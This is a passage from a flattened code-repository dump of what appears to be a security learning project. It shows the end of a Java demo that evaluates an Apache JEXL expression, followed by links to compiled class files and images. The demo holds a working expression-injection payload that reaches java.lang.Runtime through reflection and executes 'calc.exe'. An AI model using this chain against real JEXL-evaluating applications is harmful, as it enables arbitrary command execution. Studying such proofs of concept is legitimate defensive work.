sourceMap = new HashMap<>(); 18 | // sourceMap.put("ctime", "calc.exe"); 19 | // jc.set("map", sourceMap); 20 | jc.set("sssss", DateUtils.class); 21 | String rangExpression = "sssss.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')"; 22 | jexl.createExpression(rangExpression.trim()).evaluate(jc); 23 | 24 | } 25 | } -------------------------------------------------------------------------------- /express/jexl/JxelDemo/target/classes/org/example/DateUtils.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/express/jexl/JxelDemo/target/classes/org/example/DateUtils.class -------------------------------------------------------------------------------- /express/jexl/JxelDemo/target/classes/org/example/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/express/jexl/JxelDemo/target/classes/org/example/Main.class -------------------------------------------------------------------------------- /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img.png -------------------------------------------------------------------------------- /img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img_1.png -------------------------------------------------------------------------------- /img_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img_2.png --------------------------------------------------------------------------------